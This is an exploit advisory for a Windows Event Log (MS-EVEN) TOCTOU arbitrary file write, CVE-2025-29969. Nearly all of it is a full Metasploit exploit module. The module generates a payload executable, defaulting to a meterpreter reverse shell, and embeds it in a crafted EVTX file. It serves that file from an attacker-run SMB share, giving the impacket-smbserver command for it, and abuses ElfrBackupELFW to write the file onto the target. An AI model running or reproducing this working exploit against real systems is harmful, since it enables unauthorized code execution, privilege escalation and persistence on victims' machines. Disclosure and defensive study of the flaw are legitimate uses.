============================================================================================================================================= | # Title : MS‑EVEN TOCTOU Remote Arbitrary File Write via ElfrBackupELFW Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : No standalone download available | ============================================================================================================================================= [+] Summary : A Time-of-Check Time-of-Use (TOCTOU) vulnerability exists in the Microsoft Event Log Remote Protocol (MS‑EVEN). By abusing the ElfrBackupELFW RPC function, an authenticated low-privileged user can coerce the Windows Event Log service into writing arbitrary files to a chosen location on the target system. The issue stems from improper validation and usage timing between path verification and file creation operations. By leveraging a crafted remote SMB path and a controlled file sequence, an attacker can cause the service to write attacker‑controlled content to a local file path. [+] Successful exploitation may result in: Arbitrary file write on the remote Windows system Potential privilege escalation (depending on target path) Persistence or execution of attacker‑controlled binaries [+] The vulnerability affects systems where the MS‑EVEN service is accessible over SMB named pipes and where valid authentication credentials are available. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::DCERPC include Msf::Exploit::EXE include Msf::Exploit::FileDropper MS_EVEN_UUID = '82273fdc-e32a-18c3-3f78-827929dc23ea' VERSIONS_TO_TRY = [ [1, 0], [0, 0] ] ELFR_OPEN_BEL_W = 0 ELFR_BACKUP_ELFW = 1 STATUS_SEVERITY_SUCCESS = 0x0 STATUS_SEVERITY_INFORMATIONAL = 0x1 STATUS_SEVERITY_WARNING = 0x2 STATUS_SEVERITY_ERROR = 0x3 STATUS_SUCCESS = 0x00000000 STATUS_BUFFER_OVERFLOW = 0x80000005 STATUS_NO_MORE_ENTRIES = 0x8000001A STATUS_INVALID_HANDLE = 0xC0000008 STATUS_INVALID_PARAMETER = 0xC000000D STATUS_ACCESS_DENIED = 0xC0000022 STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034 STATUS_OBJECT_PATH_NOT_FOUND = 0xC000003A STATUS_BAD_NETWORK_PATH = 0xC00000BE NDR = Rex::Encoder::NDR def initialize(info = {}) super( update_info( info, 'Name' => 'MS-EVEN TOCTOU Vulnerability (CVE-2025-29969) Remote File Write', 'Description' => %q{ This module exploits a Time-of-Check Time-of-Use (TOCTOU) vulnerability in the MS-EVEN protocol (Windows Event Log service). A low-privileged authenticated user can write arbitrary files to a remote Windows machine by abusing the ElfrBackupELFW RPC function. This module strictly follows the MS-EVEN protocol specification and uses proper NDR pointer graph representation as defined in the official IDL. }, 'License' => MSF_LICENSE, 'Author' => [ 'indoushka' ], 'References' => [ ['CVE', '2025-29969'], ['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29969'] ], 'DisclosureDate' => '2025-05-13', 'Platform' => ['win'], 'Targets' => [ [ 'Windows Automatic', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DefaultOptions' => { 'WfsDelay' => 30, 'DCERPC::fake_bind_multi' => true, 'SMB::ProtocolVersion' => 3 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] } ) ) register_options([ Opt::RHOST, Opt::RPORT(445), OptString.new('SMBHOST', [true, 'The IP of the attacker SMB server', nil]), OptString.new('SMBUSER', [true, 'The username to authenticate as', nil]), OptString.new('SMBPASS', [true, 'The password for the specified username', nil]), OptString.new('SMBDOMAIN', [false, 'The Windows domain to authenticate to', '.']), OptString.new('VALID_EVTX', [true, 'Local path to a valid EVTX file', nil]), OptString.new('REMOTE_PATH', [true, 'Remote path to write the payload', 'C:\\Users\\Public\\payload.exe']), OptString.new('SHARE_NAME', [true, 'Name of the SMB share', 'Share']), OptString.new('NAMED_PIPE', [true, 'Named pipe for EventLog service', 'eventlog']) ]) register_advanced_options([ OptBool.new('SMB3_SUPPORT', [true, 'Enable SMB3 support', true]), OptInt.new('BIND_RETRIES', [true, 'Number of bind retries', 3]), OptBool.new('VERIFY_WITH_SMB', [true, 'Verify file write using SMB', true]), OptString.new('VERIFY_SHARE', [true, 'SMB share for verification', 'C$']), OptInt.new('SMB_SHARE_WAIT', [true, 'Seconds to wait for SMB share', 30]), OptBool.new('STRICT_NTSTATUS', [true, 'Strict NTSTATUS parsing', true]) ]) end # ==================== NDR Helpers ==================== # NDR pointer graph representation: # typedef struct _RPC_UNICODE_STRING { # unsigned short Length; # unsigned short MaximumLength; # [size_is(MaximumLength/2), length_is(Length/2)] WCHAR* Buffer; # } RPC_UNICODE_STRING; # # In NDR, the representation is: # - pointer to struct (referent_id1) # - struct containing: # - Length # - MaximumLength # - pointer to buffer (referent_id2) # - buffer data (conformant array) def pack_rpc_unicode_string(str) utf16_str = "#{str}\x00".encode('UTF-16LE') length = utf16_str.bytesize - 2 max_length = utf16_str.bytesize length = (length + 1) & ~1 if length.odd? max_length = (max_length + 1) & ~1 if max_length.odd? @struct_pointer_id ||= 0x20000 @buffer_pointer_id ||= 0x30000 struct_pointer = @struct_pointer_id buffer_pointer = @buffer_pointer_id @struct_pointer_id += 0x1000 @buffer_pointer_id += 0x1000 outer_pointer = NDR.long(struct_pointer) structure = NDR.short(length) + NDR.short(max_length) + NDR.long(buffer_pointer) # pointer to buffer buffer_data = NDR.UnicodeConformantVaryingStringPreBuilt(utf16_str) outer_pointer + structure + buffer_data end def parse_context_handle(data) return nil if data.nil? || data.length != 20 context_handle = { raw: data, attributes: data[0, 4].unpack('V')[0], uuid_data: data[4, 16] } return nil if context_handle[:uuid_data].bytes.all?(&:zero?) context_handle end def ntstatus_severity(status) (status >> 30) & 0x3 end def ntstatus_is_success?(status) return false if status.nil? severity = ntstatus_severity(status) severity == STATUS_SEVERITY_SUCCESS end def ntstatus_is_informational?(status) return false if status.nil? severity = ntstatus_severity(status) severity == STATUS_SEVERITY_INFORMATIONAL end def ntstatus_is_warning?(status) return false if status.nil? severity = ntstatus_severity(status) severity == STATUS_SEVERITY_WARNING end def ntstatus_is_error?(status) return false if status.nil? severity = ntstatus_severity(status) severity == STATUS_SEVERITY_ERROR end def ntstatus_to_s(status) case status when STATUS_SUCCESS "STATUS_SUCCESS" when STATUS_BUFFER_OVERFLOW "STATUS_BUFFER_OVERFLOW" when STATUS_NO_MORE_ENTRIES "STATUS_NO_MORE_ENTRIES" when STATUS_INVALID_HANDLE "STATUS_INVALID_HANDLE" when STATUS_INVALID_PARAMETER "STATUS_INVALID_PARAMETER" when STATUS_ACCESS_DENIED "STATUS_ACCESS_DENIED" when STATUS_OBJECT_NAME_NOT_FOUND "STATUS_OBJECT_NAME_NOT_FOUND" when STATUS_OBJECT_PATH_NOT_FOUND "STATUS_OBJECT_PATH_NOT_FOUND" when STATUS_BAD_NETWORK_PATH "STATUS_BAD_NETWORK_PATH" else "0x#{status.to_s(16)}" end end def parse_open_response(stub_data) result = { status: nil, handle: nil, error: nil } return result if stub_data.nil? || stub_data.empty? if stub_data.length < 24 result[:error] = "Response too short: #{stub_data.length} bytes" return result end result[:status] = stub_data[0, 4].unpack('V')[0] handle_data = stub_data[4, 20] result[:handle] = parse_context_handle(handle_data) if stub_data.length > 24 vprint_warning("Open response has #{stub_data.length - 24} extra bytes") end result end def parse_backup_response(stub_data) result = { status: nil, error: nil } if stub_data.nil? || stub_data.empty? result[:error] = "Empty response" return result end if stub_data.length < 4 result[:error] = "Response too short: #{stub_data.length} bytes" return result end result[:status] = stub_data[0, 4].unpack('V')[0] if stub_data.length > 4 vprint_warning("Backup response has #{stub_data.length - 4} extra bytes") end result end def prepare_files(valid_evtx_path, payload_data) base_name = File.basename(valid_evtx_path, '.evtx') timestamp = Time.now.to_i work_dir = File.join(File.dirname(valid_evtx_path), "exploit_#{timestamp}") Dir.mkdir(work_dir) unless Dir.exist?(work_dir) evtx_file = File.join(work_dir, "#{base_name}.evtx") FileUtils.cp(valid_evtx_path, evtx_file) payload_file = File.join(work_dir, 'payload.exe') File.binwrite(payload_file, payload_data) malicious_evtx = File.join(work_dir, "#{base_name}.malicious.evtx") File.open(malicious_evtx, 'wb') do |f| f.write(payload_data) f.write("\x00") f.write(File.binread(evtx_file)) end { work_dir: work_dir, evtx: evtx_file, payload: payload_file, malicious_evtx: malicious_evtx } end def verify_file_with_smb(remote_path, timeout = 10) return true unless datastore['VERIFY_WITH_SMB'] begin unless remote_path =~ /^([A-Z]):\\(.*)/ print_warning("Cannot parse remote path: #{remote_path}") return false end drive = $1 rel_path = $2.gsub('\\', '/') share_name = "#{drive}#{datastore['VERIFY_SHARE'][1..-1] || '$'}" vprint_status("Verifying: \\\\#{datastore['RHOST']}\\#{share_name}\\#{rel_path}") smb = Rex::Proto::SMB::SimpleClient.new( datastore['RHOST'], datastore['RPORT'] == 445 ? true : false ) begin smb.login( datastore['SMBDOMAIN'] || '', datastore['SMBUSER'], datastore['SMBPASS'] ) tree = smb.tree_connect("\\\\#{datastore['RHOST']}\\#{share_name}") begin Timeout.timeout(timeout) do fid = tree.open(rel_path, 0x10000) # GENERIC_READ if fid tree.close(fid) print_good("File verified: #{remote_path}") return true end end rescue Timeout::Error vprint_error("Timeout opening file") rescue Rex::Proto::SMB::Exceptions::ErrorCode => e if e.to_s.include?("STATUS_OBJECT_NAME_NOT_FOUND") vprint_status("File not found") else vprint_error("SMB error: #{e}") end end tree.disconnect ensure smb.disconnect end rescue => e vprint_error("Verification error: #{e}") end false end def check begin smb_versions = [] smb_versions << 3 if datastore['SMB3_SUPPORT'] smb_versions << 2 << 1 connect(versions: smb_versions.compact) smb_login disconnect VERSIONS_TO_TRY.each do |major, minor| begin handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np', ["\\pipe\\#{datastore['NAMED_PIPE']}"]) dcerpc_bind(handle) dcerpc_disconnect return CheckCode::Appears("Successfully bound with version #{major}.#{minor}") rescue => e next end end return CheckCode::Detected('Valid credentials but RPC bind failed') rescue Rex::Proto::SMB::Exceptions::LoginError return CheckCode::Detected('Authentication failed') rescue => e return CheckCode::Safe("Connection failed: #{e}") ensure dcerpc_disconnect rescue nil disconnect rescue nil end end def exploit validate_options! print_status('Generating payload executable') payload_exe = generate_payload_exe print_status('Preparing exploit files') files = prepare_files(datastore['VALID_EVTX'], payload_exe) print_status("Files prepared in: #{files[:work_dir]}") print_status(" Original EVTX: #{File.basename(files[:evtx])}") print_status(" Payload: #{File.basename(files[:payload])}") print_status(" Malicious EVTX: #{File.basename(files[:malicious_evtx])}") print_status("SMB share required on #{datastore['SMBHOST']}:") print_status(" Share name: #{datastore['SHARE_NAME']}") print_status(" Directory: #{files[:work_dir]}") print_status(" File to use: #{File.basename(files[:malicious_evtx])}") print_status("") print_status("Command to run:") print_status(" impacket-smbserver -smb2support #{datastore['SHARE_NAME']} #{files[:work_dir]}") print_status("") wait_time = datastore['SMB_SHARE_WAIT'] if wait_time > 0 print_status("Waiting #{wait_time} seconds for SMB share...") wait_time.times do |i| if i % 10 == 0 print_status(" #{wait_time - i} seconds remaining...") end sleep(1) end end max_attempts = 3 max_attempts.times do |attempt| print_status("Exploit attempt #{attempt + 1}/#{max_attempts}") @struct_pointer_id = 0x20000 + (attempt * 0x10000) @buffer_pointer_id = 0x30000 + (attempt * 0x10000) begin result = perform_exploit(files[:malicious_evtx]) case result[:status] when :success print_good("Exploit succeeded on attempt #{attempt + 1}: #{result[:message]}") if verify_file_with_smb(datastore['REMOTE_PATH']) print_good("File write verified") end register_file_for_cleanup(datastore['REMOTE_PATH']) return when :partial print_warning("Partial success: #{result[:message]}") print_warning("Check manually: #{datastore['REMOTE_PATH']}") if verify_file_with_smb(datastore['REMOTE_PATH']) print_good("File verified despite warning!") return end else print_error("Attempt #{attempt + 1} failed: #{result[:message]}") end rescue => e print_error("Attempt #{attempt + 1} error: #{e}") vprint_error("Backtrace: #{e.backtrace.first(3).join("\n")}") ensure dcerpc_disconnect rescue nil disconnect rescue nil sleep(3) if attempt < max_attempts - 1 end end fail_with(Failure::Unknown, "All #{max_attempts} exploit attempts failed") end def validate_options! required = ['RHOST', 'SMBHOST', 'SMBUSER', 'SMBPASS', 'VALID_EVTX', 'REMOTE_PATH'] required.each do |opt| if datastore[opt].nil? || datastore[opt].empty? fail_with(Failure::BadConfig, "#{opt} must be set") end end unless File.exist?(datastore['VALID_EVTX']) fail_with(Failure::BadConfig, "EVTX file not found: #{datastore['VALID_EVTX']}") end end def perform_exploit(malicious_evtx_path) result = { status: :failed, message: nil } evtx_filename = File.basename(malicious_evtx_path) share_path = "\\\\#{datastore['SMBHOST']}\\#{datastore['SHARE_NAME']}\\#{evtx_filename}" remote_path = datastore['REMOTE_PATH'] print_status("SMB share path: #{share_path}") print_status("Target remote path: #{remote_path}") smb_versions = [] smb_versions << 3 if datastore['SMB3_SUPPORT'] smb_versions << 2 << 1 begin connect(versions: smb_versions.compact) smb_login rescue => e result[:message] = "SMB connection failed: #{e}" return result end bound = false VERSIONS_TO_TRY.each do |major, minor| datastore['BIND_RETRIES'].times do |attempt| begin handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np', ["\\pipe\\#{datastore['NAMED_PIPE']}"]) dcerpc_bind(handle) bound = true vprint_good("Bound with version #{major}.#{minor}") break rescue => e vprint_status("Bind attempt #{attempt + 1} failed: #{e}") sleep(1) end end break if bound end unless bound result[:message] = 'Failed to bind to MS-EVEN interface' return result end print_status("Calling ElfrOpenBELW...") unicode_share = pack_rpc_unicode_string(share_path) open_stub = unicode_share + NDR.long(0x00000001) + # ELOG_READ NDR.long(0xC0000000) # GENERIC_READ | GENERIC_WRITE begin open_response_raw = dcerpc_call(ELFR_OPEN_BEL_W, open_stub) open_result = parse_open_response(open_response_raw) rescue => e result[:message] = "ElfrOpenBELW failed: #{e}" return result end if open_result[:error] result[:message] = "ElfrOpenBELW parse error: #{open_result[:error]}" return result end if open_result[:status].nil? result[:message] = "ElfrOpenBELW returned no status" return result end unless ntstatus_is_success?(open_result[:status]) result[:message] = "ElfrOpenBELW failed: #{ntstatus_to_s(open_result[:status])}" return result end if open_result[:handle].nil? result[:message] = "ElfrOpenBELW returned no handle" return result end print_good("ElfrOpenBELW succeeded") print_status("Calling ElfrBackupELFW...") unicode_remote = pack_rpc_unicode_string(remote_path) backup_stub = open_result[:handle][:raw] + unicode_remote begin backup_response_raw = dcerpc_call(ELFR_BACKUP_ELFW, backup_stub) backup_result = parse_backup_response(backup_response_raw) rescue Rex::Proto::DCERPC::Exceptions::Fault => e if e.fault == 0x6d6f6c63 # "clom" signature result[:status] = :partial result[:message] = "RPC fault 0x6d6f6c63 - possible TOCTOU success" else result[:message] = "ElfrBackupELFW RPC fault: 0x#{e.fault.to_s(16)}" end return result rescue => e result[:message] = "ElfrBackupELFW failed: #{e}" return result end if backup_result[:error] if datastore['STRICT_NTSTATUS'] result[:message] = "ElfrBackupELFW parse error: #{backup_result[:error]}" return result else result[:status] = :partial result[:message] = "ElfrBackupELFW completed with parse error - possible success" return result end end if backup_result[:status].nil? result[:status] = :partial result[:message] = "ElfrBackupELFW returned no status" return result end if ntstatus_is_success?(backup_result[:status]) result[:status] = :success result[:message] = ntstatus_to_s(backup_result[:status]) elsif ntstatus_is_informational?(backup_result[:status]) result[:status] = :success result[:message] = "#{ntstatus_to_s(backup_result[:status])} (informational)" elsif ntstatus_is_warning?(backup_result[:status]) result[:status] = :partial result[:message] = "#{ntstatus_to_s(backup_result[:status])} (warning)" elsif backup_result[:status] == STATUS_INVALID_HANDLE result[:status] = :partial result[:message] = "#{ntstatus_to_s(backup_result[:status])} - possible TOCTOU success" else result[:message] = "ElfrBackupELFW failed: #{ntstatus_to_s(backup_result[:status])}" end result end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================